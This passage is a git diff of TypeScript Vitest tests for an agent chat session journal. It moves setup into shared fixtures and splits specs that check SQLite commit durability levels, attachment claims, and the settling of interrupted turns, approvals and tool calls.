a/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts b/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts index 9c6911fcc9d..826a480b6f3 100644 --- a/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-streamed-text-revision.test.ts @@ -1,50 +1,26 @@ -import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' -import { randomUUID } from 'node:crypto' -import { tmpdir } from 'node:os' -import { join, dirname } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { codexImageItemBody } from '../../codex/codex-image-item-translation' import { journalPragmaNumber } from './journal-database' -import { - closeTestJournalHostDatabases, - createTrackedJournalOpener, - openTestJournalHostDatabase -} from './journal-host-database-test-support' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' import { openAgentSessionJournal } from './journal-store-factory' - import { createDeferredStructuredAgentSessionEventSink } from '../agent-session-wire/structured-agent-session-event-sink' import { testEventSinkLogging } from '../agent-session-wire/structured-agent-session-logger-test-support' import { createProviderTimelineAssembler } from '../agent-session-timeline/provider-timeline-assembler' import { providerTimelineSink } from '../agent-session-timeline/provider-timeline-plan' -import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' -import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' -import type { JournalOperationReceipt } from './journal-row-writer' -import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' -const journals = createTrackedJournalOpener() -let root: string - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-streamed-revision-')) -}) -afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true }) -}) - -const text = (role: 'assistant' | 'user', value: string): AgentJournalMessageItem => ({ - kind: 'message', - role, - blocks: [{ type: 'text', text: value }] -}) +import { + fixture, + commitLevels, + openJournal, + text, + uploadedInput +} from './journal-streamed-revision-contract-test-fixture' it('keeps image and goal transitions FULL, streams text at NORMAL, and restores FULL', async () => { - const database = openTestJournalHostDatabase(root) + const database = openTestJournalHostDatabase(fixture.root) const levels: number[] = [] database.transaction((db) => levels.push(journalPragmaNumber(db, 'synchronous')), true) levels.push(journalPragmaNumber(database.db, 'synchronous')) @@ -121,7 +97,7 @@ it('keeps image and goal transitions FULL, streams text at NORMAL, and restores turnScope: AGENT_JOURNAL_THREAD_SCOPE }) database.db.exec( - "CREATE TRIGGER reject_stream BEFORE INSERT ON journal_rows BEGIN SELECT RAISE(ABORT, 'stream insert failed'); END" + "CREATE TRIGGER reject_stream BEFORE INSERT ON journal_outcomes BEGIN SELECT RAISE(ABORT, 'stream insert failed'); END" ) await expect( journal.appendSteps([ @@ -146,40 +122,6 @@ it('keeps image and goal transitions FULL, streams text at NORMAL, and restores await journal.close() }) -function openJournal(sessionId = 'stream') { - return journals.open({ - stateDirectory: root, - identity: { - sessionId, - workspaceId: 'folder', - hostId: 'local', - agent: 'grok', - providerHandle: null - } - }) -} - -function commitLevels() { - const { db } = openTestJournalHostDatabase(root) - const levels: number[] = [] - const exec = db.exec.bind(db) - vi.spyOn(db, 'exec').mockImplementation((sql) => { - if (sql === 'COMMIT') { - levels.push(journalPragmaNumber(db, 'synchronous')) - } - exec(sql) - }) - return levels -} - -async function uploadedInput() { - const id = randomUUID() - const path = join(attachmentReferences.agentSessionAttachmentStoreRoot(root), id, 'source.txt') - await mkdir(dirname(path), { recursive: true }) - await writeFile(path, 'retained input') - return { id, body: text('user', formatNativeChatFileReference(path)) } -} - it.each([1, 10])( 'commits %i real assembler windows at NORMAL with no attachment effects', async (count) => { @@ -234,7 +176,9 @@ it.each([1, 10])( expect(journal.snapshot().items[0]?.body).toEqual( text('assistant', 'hello '.repeat(count + 1)) ) - expect(journalPragmaNumber(openTestJournalHostDatabase(root).db, 'synchronous')).toBe(2) + expect(journalPragmaNumber(openTestJournalHostDatabase(fixture.root).db, 'synchronous')).toBe( + 2 + ) process.stdout.write( `pr34654-stream-contract ${JSON.stringify({ count, levels, extractions: extraction.mock.calls.length, acquired: acquired.mock.calls.length })}\n` ) @@ -259,226 +203,3 @@ it.each([1, 10])( } } ) - -it('resolves/builds once after preceding writes and preserves actual output and external receipt durability', async () => { - const journal = await openJournal() - const identity = { provider: 'orca' as const, clientMessageId: 'dynamic' } - let release = () => {} - const barrier = new Promise((resolve) => { - release = resolve - }) - const held = journal.readInOrder(() => barrier) - const levels = commitLevels() - const preceding = journal.appendItem(identity, text('assistant', 'first'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const resolve = vi.fn(() => { - expect(journal.snapshot().items[0]?.body).toEqual(text('assistant', 'first')) - return { identity, body: text('assistant', 'second') } - }) - const following = journal.appendResolvedItem(resolve, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - release() - await Promise.all([held, preceding, following]) - expect(resolve).toHaveBeenCalledTimes(1) - expect(levels).toEqual([2, 1]) - levels.length = 0 - const empty = vi.fn(() => null) - expect( - await journal.appendResolvedItem(empty, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ).toBeNull() - expect(empty).toHaveBeenCalledTimes(1) - expect(levels).toEqual([]) - - const { db } = openTestJournalHostDatabase(root) - db.exec('CREATE TABLE receipt_fact (sequence INTEGER)') - const write = vi.fn((connection, row) => { - if (!row) { - throw new Error('missing receipt target') - } - connection.prepare('INSERT INTO receipt_fact VALUES (?)').run(row.seq) - }) - const committed = vi.fn(() => - expect(db.prepare('SELECT sequence FROM receipt_fact').all()).toHaveLength(1) - ) - const result = await journal.appendItem( - identity, - text('assistant', 'durable receipt'), - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }, - { write, committed } - ) - expect(levels).toEqual([2]) - expect(db.prepare('SELECT sequence FROM receipt_fact').get()?.sequence).toBe( - result.cursor.sequence - ) - expect(write).toHaveBeenCalledTimes(1) - expect(committed).toHaveBeenCalledTimes(1) - const huge = 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES) - for (const mode of ['ordinary', 'planned', 'step'] as const) { - const body = text('assistant', `${huge}${mode}`) - const plan = vi.fn(() => [ - { kind: 'item' as const, identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ]) - levels.length = 0 - if (mode === 'ordinary') { - await journal.appendLifecycleBatch({ settlementId: mode, fence: 1, mutations: plan() }) - } - if (mode === 'planned') { - await journal.appendPlannedLifecycleBatch({ - settlementId: mode, - fence: 1, - plan: () => ({ mutations: plan(), dispatches: [] }) - }) - } - if (mode === 'step') { - await journal.appendSteps([ - { kind: 'settlement', batch: { settlementId: mode, fence: 1, resolve: plan } } - ]) - } - expect(plan).toHaveBeenCalledTimes(1) - expect(levels).toEqual([1]) - expect(journal.snapshot().items[0]?.body).toEqual(body) - } - levels.length = 0 - expect( - await journal.appendSteps([ - { - kind: 'item', - resolve: () => null, - options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - } - ]) - ).toEqual([false]) - await journal.appendPlannedLifecycleBatch({ - settlementId: 'empty', - fence: 1, - plan: () => ({ mutations: [], dispatches: [] }) - }) - expect(levels).toEqual([]) - await journal.appendLifecycleBatch({ - settlementId: 'envelope', - fence: 1, - mutations: [ - { - kind: 'item', - identity, - body: text('assistant', 'settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - }) - expect(levels).toEqual([2]) -}) - -it.each([1, 10])( - 'protects %i actual independent inputs per writer without visiting prior history', - async (count) => { - const journal = await openJournal() - const other = await openJournal('other') - for (let n = 0; n < 10 * count; n++) { - const identity = { provider: 'orca' as const, clientMessageId: `old-${n}` } - await journal.appendItem(identity, text('user', 'old'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await other.appendItem(identity, text('user', 'unrelated'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - const { db } = openTestJournalHostDatabase(root) - const insertion = vi.spyOn( - db.prepare( - 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' - ), - 'run' - ) - const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') - const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') - const levels = commitLevels() - for (const writer of [ - 'direct', - 'resolved', - 'step', - 'batch', - 'planned', - 'submission', - 'queue' - ] as const) { - insertion.mockClear() - extraction.mockClear() - acquired.mockClear() - levels.length = 0 - for (let n = 0; n < count; n++) { - const { id, body } = await uploadedInput() - const identity = { provider: 'orca' as const, clientMessageId: `${writer}-${n}` } - const resolve = vi.fn(() => ({ identity, body })) - if (writer === 'direct') { - await journal.appendItem(identity, body, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - if (writer === 'resolved') { - await journal.appendResolvedItem(resolve, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(resolve).toHaveBeenCalledTimes(1) - } - if (writer === 'step') { - await journal.appendSteps([ - { kind: 'item', resolve, options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } } - ]) - expect(resolve).toHaveBeenCalledTimes(1) - } - if (writer === 'batch') { - await journal.appendLifecycleBatch({ - settlementId: identity.clientMessageId, - fence: 1, - mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }] - }) - } - if (writer === 'planned') { - await journal.appendPlannedLifecycleBatch({ - settlementId: identity.clientMessageId, - fence: 1, - plan: () => ({ - mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }], - dispatches: [] - }) - }) - } - if (writer === 'submission') { - await journal.appendSubmission({ - clientMessageId: identity.clientMessageId, - payloadFingerprint: 'fp', - body, - fence: 1, - origin: 'host' - }) - } - if (writer === 'queue') { - await journal.queuedMessages.insert({ messageId: identity.clientMessageId, body }) - } - expect( - db - .prepare( - 'SELECT upload_id FROM agent_session_attachment_claims WHERE upload_id = ? AND session_id = ?' - ) - .all(id, 'stream') - ).toHaveLength(1) - } - expect(insertion).toHaveBeenCalledTimes(count) - expect(extraction).toHaveBeenCalledTimes(count) - expect(acquired).toHaveBeenCalledTimes(count) - expect(levels).toEqual(Array(count).fill(2)) - process.stdout.write( - `pr34654-input-contract ${JSON.stringify({ writer, count, old: 10 * count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` - ) - } - } -) diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts index ceb85ed1f50..e4ee0d11e88 100644 --- a/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-terminal-settlement-validation.spec.ts @@ -1,402 +1,9 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import { AgentJournalItemBodySchema } from '../../../shared/agent-session-journal-schemas' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' -import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' -import { - createTrackedJournalOpener, - insertTestJournalRowJson, - liveTestJournalRows, - openTestJournalHostDatabase -} from './journal-host-database-test-support' -import { parseJournalRow, type JournalRow } from './journal-row-schema' -import * as rowTable from './journal-row-table' -import type { AgentSessionJournal } from './journal-store' +import { createFixture } from './journal-terminal-validation-test-fixture' +import { registerJournalTerminalTimeValidationTests } from './journal-terminal-time-validation.spec' +import { registerJournalApprovalRevisionValidationTests } from './journal-approval-revision-validation.spec' export function registerJournalTerminalSettlementValidationTests(): void { - const journals = createTrackedJournalOpener() - let root: string - let journal: AgentSessionJournal - const identity = { provider: 'orca' as const, clientMessageId: 'old-turn' } - - async function open() { - return journals.open({ - identity: { - sessionId: 'validation', - workspaceId: 'folder', - hostId: 'host', - agent: 'codex', - providerHandle: codexProviderHandle('thread') - }, - stateDirectory: root, - now: () => 1_000 - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-settlement-validation-')) - journal = await open() - }) - - afterEach(async () => { - vi.restoreAllMocks() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - function settle(observedAt = 1_000, lastProvenAliveAt?: number) { - return settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'validation', - fence: 8, - acquisitionGeneration: 'replacement', - deathEvidence: { - kind: lastProvenAliveAt === undefined ? 'exit-observed' : 'pid-absent', - detail: '', - ownerFence: 7, - observedAt, - ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) - } - }) - } - - async function expectSendStillWritable() { - const sequence = journal.cursor().sequence + 1 - await expect( - journal.appendSubmission({ - clientMessageId: 'new-send', - payloadFingerprint: 'new', - fence: 8, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } - }) - ).resolves.toMatchObject({ sequence }) - } - - async function saveOldItems(inputs: { itemId: string; revision?: number; body: unknown }[]) { - const { db } = openTestJournalHostDatabase(root) - for (const [index, input] of inputs.entries()) { - const json = JSON.stringify({ - v: 3, - kind: 'item', - epoch: journal.epoch, - seq: index + 2, - ts: 900, - fence: 7, - revision: 1, - ...input, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(parseJournalRow(json).ok).toBe(true) - insertTestJournalRowJson(db, 'validation', index + 2, json, 900) - } - await journal.close() - journal = await open() - } - - it.each([ - ['zero exit time', 0, undefined], - ['zero renewal time', 1_000, 0] - ] as const)( - 'ends an untimed turn with %s and still permits a fresh send', - async (_name, observedAt, lastProvenAliveAt) => { - await journal.appendItem( - identity, - { kind: 'turn', turnId: 'old', state: 'running' }, - { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - await settle(observedAt, lastProvenAliveAt) - expect(journal.itemBody(agentJournalItemKey(identity))).toEqual({ - kind: 'turn', - turnId: 'old', - state: 'interrupted' - }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - const ended = journal.snapshot() - await settle(observedAt, lastProvenAliveAt) - expect(journal.snapshot()).toEqual(ended) - await expectSendStillWritable() - } - ) - - it.each([{ kind: 'tool-call' }, { providerTurnId: '' }])( - 'ends a readable legacy extension %j using a valid turn rewrite', - async (extension) => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - body: { - kind: 'status', - text: 'working', - turnLifecycle: { turnId: 'old', state: 'running', ...extension } - } - } - ]) - await settle() - expect(journal.itemBody(agentJournalItemKey(identity))).toEqual({ - kind: 'turn', - turnId: 'old', - state: 'interrupted', - completedAt: 1_000 - }) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - await expectSendStillWritable() - } - ) - - it.each([Number.MAX_SAFE_INTEGER + 1, 1e100])( - 'leaves exhausted saved revision %s untouched while other work commits once and a fresh send writes', - async (revision) => { - await expectUnadvanceableItemUntouched({ - itemId: agentJournalItemKey(identity), - revision, - body: { kind: 'turn', turnId: 'old', state: 'running' } - }) - await expectSendStillWritable() - } - ) - - async function expectUnadvanceableItemUntouched(saved: { - itemId: string - revision: number - body: unknown - }) { - await saveOldItems([ - saved, - { itemId: 'orca:advanceable', body: { kind: 'turn', turnId: 'other', state: 'running' } }, - { itemId: 'orca:approval', body: pendingApproval() } - ]) - const before = journal.snapshot().items.find((item) => item.itemId === saved.itemId) - const { db } = openTestJournalHostDatabase(root) - const history = liveTestJournalRows(db, 'validation') - const commits = vi.fn() - journal.observeCommits(commits) - await expect(settle()).resolves.toBeGreaterThan(0) - expect(commits).toHaveBeenCalledTimes(1) - expect(journal.snapshot().items.find((item) => item.itemId === saved.itemId)).toEqual(before) - expect(journal.itemBody('orca:advanceable')).toMatchObject({ state: 'interrupted' }) - expect(journal.itemBody('orca:approval')).toMatchObject({ resolution: { state: 'cancelled' } }) - expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) - const settled = journal.snapshot() - await settle() - expect(journal.snapshot()).toEqual(settled) - expect(commits).toHaveBeenCalledTimes(1) - await journal.close() - journal = await open() - expect(journal.snapshot()).toEqual(settled) - } - - it('revises the original legacy long prompt key and still permits a fresh send', async () => { - const oldKey = `orca:${'x'.repeat(1025)}` - await saveOldItems([{ itemId: oldKey, body: pendingApproval() }]) - await settle() - expect(journal.snapshot().items).toHaveLength(1) - expect(journal.itemBody(oldKey)).toMatchObject({ resolution: { state: 'cancelled' } }) - expect(journal.snapshot().items.filter((item) => item.body.kind === 'approval')).toHaveLength(1) - await expectSendStillWritable() - }) - - function pendingApproval() { - return { - kind: 'approval', - title: 'Allow?', - detail: null, - options: [], - resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } - } - } - - function expectRewriteTimes(value: unknown) { - if (typeof value !== 'object' || value === null) { - return - } - for (const [key, field] of Object.entries(value)) { - if (key.endsWith('At') && field !== null && field !== undefined) { - expect(typeof field).toBe('number') - expect(Number.isFinite(field)).toBe(true) - expect(field).toBeGreaterThan(0) - } - expectRewriteTimes(field) - } - } - - it.each([ - ['untimed exit', 0, undefined], - ['untimed renewal', 1_000, 0], - ['timed exit', 1_000, undefined] - ] as const)( - 'builds admitted settlement rows preserving extensions without invalid known times for %s', - async (_name, observedAt, lastProvenAliveAt) => { - const long = 'x'.repeat(1025) - const running = { turnId: 'old', state: 'running' } - const laterContextUsage = { - window: { tokens: 100, capturedAt: 1, laterWindowField: true }, - used: { kind: 'unknown', capturedAt: 1, laterUsedField: true }, - laterUsageField: { kept: true } - } - const extensionBodies = [ - { ...running, kind: 'tool-call' }, - { ...running, providerTurnId: '' }, - { ...running, providerTurnId: 42 }, - { ...running, providerTurnId: null }, - { ...running, contextUsage: { window: { tokens: -1 } } }, - { ...running, contextUsage: 'extension' }, - { - ...running, - providerTurnId: 'provider', - contextUsage: laterContextUsage - }, - { ...running, laterField: { kind: 'tool-call' } } - ] - const inputs = [ - ...extensionBodies.map((turnLifecycle, index) => ({ - itemId: `orca:extension-${index}`, - body: { kind: 'status', text: 'working', turnLifecycle } - })), - { itemId: 'orca:untimed', body: { kind: 'turn', ...running } }, - { - itemId: 'orca:timed', - body: { kind: 'turn', ...running, requestedAt: 800, startedAt: 900, completedAt: 950 } - }, - { - itemId: 'orca:last-advanceable', - revision: Number.MAX_SAFE_INTEGER - 1, - body: { kind: 'turn', ...running } - }, - { itemId: `orca:${long}`, body: pendingApproval() }, - { itemId: `claude:${long}:uuid`, body: { kind: 'turn', ...running } }, - { - itemId: `codex:thread:${long}:0`, - body: { kind: 'message', role: 'reasoning', blocks: [], state: 'running' } - }, - { - itemId: `legacy:codex:session:${long}`, - body: { kind: 'tool-call', name: 'shell', state: 'running' } - }, - { itemId: 'future-provider:opaque%ZZ', body: pendingApproval() }, - { itemId: 'orca:%78', body: pendingApproval() }, - { itemId: '', body: pendingApproval() }, - { - itemId: `orca:${long}oversized`, - body: { kind: 'tool-call', name: 'shell', input: 'x'.repeat(1_500_001), state: 'running' } - } - ] - await saveOldItems(inputs) - const { db } = openTestJournalHostDatabase(root) - const history = liveTestJournalRows(db, 'validation') - const rows: JournalRow[] = [] - const insert = rowTable.insertJournalRow - vi.spyOn(rowTable, 'insertJournalRow').mockImplementation((database, sessionId, row) => { - expect(parseJournalRow(JSON.stringify(row))).toMatchObject({ ok: true }) - const bodies = - row.kind === 'item' - ? [row.body] - : row.kind === 'lifecycle-batch' - ? row.mutations.flatMap((mutation) => - mutation.kind === 'item' ? [mutation.body] : [] - ) - : [] - for (const body of bodies) { - expect(body).toMatchObject(AgentJournalItemBodySchema.parse(body)) - expectRewriteTimes(body) - } - rows.push(row) - return insert(database, sessionId, row) - }) - await settle(observedAt, lastProvenAliveAt) - expect(rows.some((row) => row.kind === 'lifecycle-batch')).toBe(true) - expect( - rows.some((row) => row.kind === 'item' && row.itemId === `orca:${long}oversized`) - ).toBe(true) - expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) - for (const input of inputs) { - const body = journal.itemBody(input.itemId) - expect(body).toBeDefined() - expect(readAgentJournalTurn(body ?? undefined)?.state).not.toBe('running') - if (body?.kind === 'approval') { - expect(body.resolution.state).toBe('cancelled') - } - if (body?.kind === 'message') { - expect(body.state).toBe('completed') - } - if (body?.kind === 'tool-call') { - expect(body.state).toBe('failed') - } - } - expect(journal.itemBody('orca:extension-7')).toHaveProperty('laterField', { - kind: 'tool-call' - }) - expect(journal.itemBody('orca:extension-6')).toHaveProperty('contextUsage', laterContextUsage) - expect(journal.runningTurn()?.turnId ?? null).toBeNull() - expect(journal.snapshot().items).toHaveLength(inputs.length + 1) - const ended = journal.snapshot() - await settle(observedAt, lastProvenAliveAt) - expect(journal.snapshot()).toEqual(ended) - await journal.close() - journal = await open() - for (const input of inputs) { - expect(journal.itemBody(input.itemId)).toEqual( - ended.items.find((item) => item.itemId === input.itemId)?.body - ) - } - await expectSendStillWritable() - } - ) - - it.each([Number.MAX_SAFE_INTEGER, -Number.MAX_SAFE_INTEGER - 1])( - 'advances readable saved revision %s using the existing integer admission', - async (revision) => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - revision, - body: { kind: 'turn', turnId: 'old', state: 'running' } - } - ]) - await settle() - expect(journal.snapshot().items[0]).toMatchObject({ - revision: Math.max(revision, 0) + 1, - body: { state: 'interrupted' } - }) - await expectSendStillWritable() - } - ) - - it('admits an answer on an exhausted approval without changing the saved item', async () => { - await saveOldItems([ - { - itemId: agentJournalItemKey(identity), - revision: Number.MAX_SAFE_INTEGER + 1, - body: pendingApproval() - } - ]) - const before = journal.snapshot().items[0] - const cursor = journal.cursor() - await expect( - journal.appendItem( - identity, - { - ...pendingApproval(), - kind: 'approval', - resolution: { - state: 'resolved', - selectedOptionId: null, - resolvedBy: 'user', - resolvedAt: 1_000 - } - }, - { fence: 8, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - ).resolves.toBeDefined() - expect(journal.cursor().sequence).toBe(cursor.sequence + 1) - expect(journal.snapshot().items[0]).toEqual(before) - await expectSendStillWritable() - }) + const fixture = createFixture() + registerJournalTerminalTimeValidationTests(fixture) + registerJournalApprovalRevisionValidationTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts new file mode 100644 index 00000000000..bb9930a0d2e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts @@ -0,0 +1,219 @@ +import type { createFixture } from './journal-terminal-validation-test-fixture' +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { AgentJournalItemBodySchema } from '../../../shared/agent-session-journal-schemas' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { parseJournalRow, type JournalRow } from './journal-row-schema' +import * as rowTable from './journal-row-table' + +export function registerJournalTerminalTimeValidationTests( + fixture: ReturnType +): void { + it.each([ + ['zero exit time', 0, undefined], + ['zero renewal time', 1_000, 0] + ] as const)( + 'ends an untimed turn with %s and still permits a fresh send', + async (_name, observedAt, lastProvenAliveAt) => { + await fixture.journal.appendItem( + fixture.identity, + { kind: 'turn', turnId: 'old', state: 'running' }, + { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.itemBody(agentJournalItemKey(fixture.identity))).toEqual({ + kind: 'turn', + turnId: 'old', + state: 'interrupted' + }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + const ended = fixture.journal.snapshot() + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.snapshot()).toEqual(ended) + await fixture.expectSendStillWritable() + } + ) + + it.each([{ providerTurnId: '' }])( + 'ends a readable legacy extension %j using a valid turn rewrite', + async (extension) => { + await fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + body: { + kind: 'status', + text: 'working', + turnLifecycle: { turnId: 'old', state: 'running', ...extension } + } + } + ]) + await fixture.settle() + expect(fixture.journal.itemBody(agentJournalItemKey(fixture.identity))).toEqual({ + kind: 'turn', + turnId: 'old', + state: 'interrupted', + completedAt: 1_000 + }) + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + await fixture.expectSendStillWritable() + } + ) + + it.each([Number.MAX_SAFE_INTEGER + 1, 1e100])( + 'leaves exhausted saved revision %s untouched while other work commits once and a fresh send writes', + async (revision) => { + await fixture.expectUnadvanceableItemUntouched({ + itemId: agentJournalItemKey(fixture.identity), + revision, + body: { kind: 'turn', turnId: 'old', state: 'running' } + }) + await fixture.expectSendStillWritable() + } + ) + + it('revises the original legacy long prompt key and still permits a fresh send', async () => { + const oldKey = `orca:${'x'.repeat(1025)}` + await fixture.saveOldItems([{ itemId: oldKey, body: fixture.pendingApproval() }]) + await fixture.settle() + expect(fixture.journal.snapshot().items).toHaveLength(1) + expect(fixture.journal.itemBody(oldKey)).toMatchObject({ resolution: { state: 'cancelled' } }) + expect( + fixture.journal.snapshot().items.filter((item) => item.body.kind === 'approval') + ).toHaveLength(1) + await fixture.expectSendStillWritable() + }) + + it.each([ + ['untimed exit', 0, undefined], + ['untimed renewal', 1_000, 0], + ['timed exit', 1_000, undefined] + ] as const)( + 'builds admitted settlement rows preserving extensions without invalid known times for %s', + async (_name, observedAt, lastProvenAliveAt) => { + const long = 'x'.repeat(1025) + const running = { turnId: 'old', state: 'running' } + const extensionBodies = [ + { ...running, providerTurnId: '' }, + { ...running, providerTurnId: 42 }, + { ...running, providerTurnId: null }, + { ...running, contextUsage: { window: { tokens: -1 } } }, + { ...running, contextUsage: 'extension' } + ] + const inputs = [ + ...extensionBodies.map((turnLifecycle, index) => ({ + itemId: `orca:extension-${index}`, + body: { kind: 'status', text: 'working', turnLifecycle } + })), + { itemId: 'orca:untimed', body: { kind: 'turn', ...running } }, + { + itemId: 'orca:timed', + body: { kind: 'turn', ...running, requestedAt: 800, startedAt: 900, completedAt: 950 } + }, + { + itemId: 'orca:last-advanceable', + revision: Number.MAX_SAFE_INTEGER - 1, + body: { kind: 'turn', ...running } + }, + { itemId: `orca:${long}`, body: fixture.pendingApproval() }, + { itemId: `claude:${long}:uuid`, body: { kind: 'turn', ...running } }, + { + itemId: `codex:thread:${long}:0`, + body: { kind: 'message', role: 'reasoning', blocks: [], state: 'running' } + }, + { + itemId: `legacy:codex:session:${long}`, + body: { kind: 'tool-call', name: 'shell', state: 'running' } + }, + { itemId: 'future-provider:opaque%ZZ', body: fixture.pendingApproval() }, + { itemId: 'orca:%78', body: fixture.pendingApproval() }, + { itemId: '', body: fixture.pendingApproval() }, + { + itemId: `orca:${long}oversized`, + body: { kind: 'tool-call', name: 'shell', input: 'x'.repeat(1_500_001), state: 'running' } + } + ] + await fixture.saveOldItems(inputs) + const { db } = openTestJournalHostDatabase(fixture.root) + const history = liveTestJournalRows(db, 'validation') + const rows: JournalRow[] = [] + const insert = rowTable.insertJournalRow + vi.spyOn(rowTable, 'insertJournalRow').mockImplementation((database, sessionId, row) => { + expect(parseJournalRow(JSON.stringify(row))).toMatchObject({ ok: true }) + const bodies = + row.kind === 'item' + ? [row.body] + : row.kind === 'lifecycle-batch' + ? row.mutations.flatMap((mutation) => + mutation.kind === 'item' ? [mutation.body] : [] + ) + : [] + for (const body of bodies) { + expect(body).toMatchObject(AgentJournalItemBodySchema.parse(body)) + fixture.expectRewriteTimes(body) + } + rows.push(row) + return insert(database, sessionId, row) + }) + await fixture.settle(observedAt, lastProvenAliveAt) + expect(rows.some((row) => row.kind === 'lifecycle-batch')).toBe(true) + expect( + rows.some((row) => row.kind === 'item' && row.itemId === `orca:${long}oversized`) + ).toBe(true) + expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) + for (const input of inputs) { + const body = fixture.journal.itemBody(input.itemId) + expect(body).toBeDefined() + expect(readAgentJournalTurn(body ?? undefined)?.state).not.toBe('running') + if (body?.kind === 'approval') { + expect(body.resolution.state).toBe('cancelled') + } + if (body?.kind === 'message') { + expect(body.state).toBe('completed') + } + if (body?.kind === 'tool-call') { + expect(body.state).toBe('failed') + } + } + expect(fixture.journal.runningTurn()?.turnId ?? null).toBeNull() + expect(fixture.journal.snapshot().items).toHaveLength(inputs.length + 1) + const ended = fixture.journal.snapshot() + await fixture.settle(observedAt, lastProvenAliveAt) + expect(fixture.journal.snapshot()).toEqual(ended) + await fixture.journal.close() + fixture.journal = await fixture.open() + for (const input of inputs) { + expect(fixture.journal.itemBody(input.itemId)).toEqual( + ended.items.find((item) => item.itemId === input.itemId)?.body + ) + } + await fixture.expectSendStillWritable() + } + ) + + it.each([Number.MAX_SAFE_INTEGER, -Number.MAX_SAFE_INTEGER - 1])( + 'advances readable saved revision %s using the existing integer admission', + async (revision) => { + await 